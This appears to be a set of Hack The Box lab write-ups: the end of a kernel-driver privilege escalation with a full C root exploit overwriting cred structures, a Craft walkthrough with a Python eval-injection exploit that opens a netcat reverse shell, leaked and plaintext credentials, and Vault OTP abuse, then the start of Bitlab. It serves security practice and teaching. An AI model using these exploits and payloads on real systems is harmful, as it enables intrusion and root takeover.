addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());

int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

fflush(stdout);

int stop = getchar();
return 0;
}

It worked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[email protected]:/dev/shm$ ./pwn 
[+] PID: 1215
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186d84, crednum: 5
[*] Cred structure found! ptr: 0x76186fc4, crednum: 6
[*] Cred structure found! ptr: 0x761872c4, crednum: 7
[*] Cred structure found! ptr: 0x76187684, crednum: 8
[*] Cred structure found! ptr: 0x76187984, crednum: 9
[*] Cred structure found! ptr: 0x76187b04, crednum: 10
[*] Cred structure found! ptr: 0x76187bc4, crednum: 11
[*] Cred structure found! ptr: 0x76187c84, crednum: 12
[*] Cred structure found! ptr: 0x77112184, crednum: 13
[*] Cred structure found! ptr: 0x771123c4, crednum: 14
[*] Cred structure found! ptr: 0x77112484, crednum: 15
[*] Cred structure found! ptr: 0x771129c4, crednum: 16
[*] Cred structure found! ptr: 0x77113084, crednum: 17
[*] Cred structure found! ptr: 0x77113144, crednum: 18
[*] Cred structure found! ptr: 0x77113504, crednum: 19
[*] Cred structure found! ptr: 0x77113c84, crednum: 20
[*] Cred structure found! ptr: 0x7714a604, crednum: 21
[*] Cred structure found! ptr: 0x7714aa84, crednum: 22
[*] Cred structure found! ptr: 0x7714ac04, crednum: 23
[*] Cred structure found! ptr: 0x7714afc4, crednum: 24
[*] Cred structure found! ptr: 0x7714ba44, crednum: 25
[*] Cred structure found! ptr: 0xb9327bc4, crednum: 26

[email protected]:/dev/shm$

Now we need to overwrite the cred structure that belongs to our process, weā€™ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("Failed to mmap: ");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){

credIt = 0;

if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

else{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}

addr++;
}

fflush(stdout);

int stop = getchar();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[email protected]:/dev/shm$ ./pwn 
[+] PID: 4773
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186fc4, crednum: 5
[*] Cred structure found! ptr: 0x76187684, crednum: 6
[*] Cred structure found! ptr: 0x76187bc4, crednum: 7
[*] Cred structure found! ptr: 0x77112184, crednum: 8
[*] Cred structure found! ptr: 0x771123c4, crednum: 9
[*] Cred structure found! ptr: 0x77112484, crednum: 10
[*] Cred structure found! ptr: 0x771129c4, crednum: 11
[*] Cred structure found! ptr: 0x77113084, crednum: 12
[*] Cred structure found! ptr: 0x77113144, crednum: 13
[*] Cred structure found! ptr: 0x77113504, crednum: 14
[*] Cred structure found! ptr: 0x77113c84, crednum: 15
[*] Cred structure found! ptr: 0x7714a484, crednum: 16
[*] Cred structure found! ptr: 0x7714a604, crednum: 17
[*] Cred structure found! ptr: 0x7714a6c4, crednum: 18
[*] Cred structure found! ptr: 0x7714a844, crednum: 19
[*] Cred structure found! ptr: 0x7714a9c4, crednum: 20
[*] Cred structure found! ptr: 0x7714aa84, crednum: 21
[*] Cred structure found! ptr: 0x7714ac04, crednum: 22
[*] Cred structure found! ptr: 0x7714ad84, crednum: 23
[*] Process cred structure found ptr: 0x7714ad84, crednum: 23

[email protected]:/dev/shm$

Great! now whatā€™s left to do is to overwrite the capabilities in our cred structure with 0xffffffffffffffff and execute /bin/sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
credIt += 1; 
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>                                                         
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("\033[93m[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("\033[93m[!] Open failed!\n");
return -1;
}

printf("\033[32m[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("\033[93m[!] Failed to mmap !");
close(fd);
return -1;
}

printf("\033[32m[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

puts("\033[93m[+] Searching for the process cred structure ...");

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){

printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n", addr, credNum);
puts("\033[32m[*] Got Root");
puts("\033[32m[+] Spawning a shell");

credIt += 1;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);
puts("\033[93m[!] Execl failed...");

break;
}
else{

credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}

return 0;
}

And finally:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:/dev/shm$ ./pwn 
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#


We owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft

Hack The Box - Craft

4 January 2020 at 03:00

Hack The Box - Craft

Quick Summary

Hey guys, today Craft retired and hereā€™s my write-up about it. Itā€™s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[email protected]:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
[email protected]:~/Desktop/HTB/boxes/craft#

We got https on port 443 and ssh on port 22.

Web Enumeration

The home page was kinda empty, Only the about info and nothing else:

The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:

1
2
3
4
<ul class="nav navbar-nav pull-right">
<li><a href="https://api.craft.htb/api/">API</a></li>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" src="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>
</ul>

So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them.
https://api.craft.htb/api:

Here we can see the API endpoints and how to interact with them.
Weā€™re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.


We donā€™t have credentials to authenticate so letā€™s keep enumerating.
Obviously gogs.craft.htb had gogs running:

The repository of the API source code was publicly accessible so I took a look at the code and the commits.


Dineshā€™s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where userā€™s input is being passed to eval() without filtering:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@@ -38,9 +38,13 @@ class BrewCollection(Resource):
"""
Creates a new brew entry.
"""
-
- create_brew(request.json)
- return None, 201
+
+ # make sure the ABV value is sane.
+ if eval('%s > 1' % request.json['abv']):
+ return "ABV must be a decimal value less than 1.0", 400
+ else:
+ create_brew(request.json)
+ return None, 201
@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')

I took a look at the API documentation again to find in which request I can send the abv parameter:

As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we donā€™t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:

1
2
3
4
5
6
7
8
9
10
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+json_response = json.loads(response.text)
+token = json_response['token']
+
+headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
+
+# make sure token is valid
+response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
+print(response.text)
+

I tested the credentials and they were valid:

RCE ā€“> Shell on Docker Container

I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.
exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3 
import requests
import json
from subprocess import Popen
from sys import argv
from os import system

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

GREEN = "\033[32m"
YELLOW = "\033[93m"

def get_token():
req = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
response = req.json()
token = response['token']
return token

def exploit(token, ip, port):
tmp = {}

tmp['id'] = 0
tmp['name'] = "pwned"
tmp['brewer'] = "pwned"
tmp['style'] = "pwned"
tmp['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')".format(ip,port)

payload = json.dumps(tmp)

print(YELLOW + "[+] Starting listener on port {}".format(port))
Popen(["nc","-lvnp",port])

print(YELLOW + "[+] Sending payload")
requests.post('https://api.craft.htb/api/brew/', headers={'X-Craft-API-Token': token, 'Content-Type': 'application/json'}, data=payload, verify=False)

if len(argv) != 3:
print(YELLOW + "[!] Usage: {} [IP] [PORT]".format(argv[0]))
exit()

ip = argv[1]
port = argv[2]
print(YELLOW + "[+] Authenticating")
token = get_token()
print(GREEN + "[*] Token: {}".format(token))
exploit(token, ip, port)


Turns out that the application was hosted on a docker container and I didnā€™t get a shell on the actual host.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #

Gilfoyleā€™s Gogs Credentials ā€“> SSH Key ā€“> SSH as Gilfoyle ā€“> User Flag

In /opt/app there was a python script called dbtest.py, It connects to the database and executes a SQL query:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/opt/app # ls -la
total 44
drwxr-xr-x 5 root root 4096 Jan 3 17:28 .
drwxr-xr-x 1 root root 4096 Feb 9 2019 ..
drwxr-xr-x 8 root root 4096 Feb 8 2019 .git
-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py
drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 tests
/opt/app # cat dbtest.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)

finally:
connection.close()
/opt/app #

I copied the script and changed result = cursor.fetchone() to result = cursor.fetchall() and I changed the query to SHOW TABLES:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SHOW TABLES"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

There were two tables, user and brew:

1
2
3
4
5
6
7
8
/opt/app # wget http://10.10.xx.xx/db1.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db1.py 100% |********************************| 629 0:00:00 ETA

/opt/app # python db1.py
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
/opt/app # rm db1.py
/opt/app #

I changed the query to SELECT * FROM user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

The table had all users credentials stored in plain text:

1
2
3
4
5
6
7
8
/opt/app # wget http://10.10.xx.xx/db2.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db2.py 100% |********************************| 636 0:00:00 ETA

/opt/app # python db2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
/opt/app # rm db2.py
/opt/app #

Gilfoyle had a private repository called craft-infra:


He left his private ssh key in the repository:


When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked:

We owned user.

Vault ā€“> One-Time SSH Password ā€“> SSH as root ā€“> Root Flag

In Gilfoyleā€™s home directory there was a file called .vault-token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~$ ls -la
total 44
drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo
[email protected]:~$ cat .vault-token
[email protected]:~$

A quick search revealed that itā€™s related to vault.

Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io

By looking at vault.sh from craft-infra repository (vault/vault.sh), weā€™ll see that it enables the ssh secrets engine then creates an otp role for root:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0

We have the token (.vault-token) so we can easily authenticate to the vault and create an otp for a root ssh session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[email protected]:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration āˆž
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
[email protected]:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key c495f06b-daac-8a95-b7aa-c55618b037ee
key_type otp
port 22
username root
[email protected]:~$

And finally weā€™ll ssh into localhost and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[email protected]:~$ ssh [email protected]


. * .. . * *
* * @()Ooc()* o .
([email protected]*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
[email protected]:~#


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Smasher2
Next Hack The Box write-up : Hack The Box - Bitlab

Hack The Box - Bitlab

11 January 2020 at 03:00

Hack The Box - Bitlab

Quick Summary

Hey guys, today Bitlab retired and hereā€™s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. Itā€™s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
[email protected]:~/Desktop/HTB/boxes/bitlab#

We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.

Web Enumeration

Gitlab was running on the web server and we need credentials:

I checked /robots.txt to see if there was anything interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
[email protected]:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt                                                                                                                                                             [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /

# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1

# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
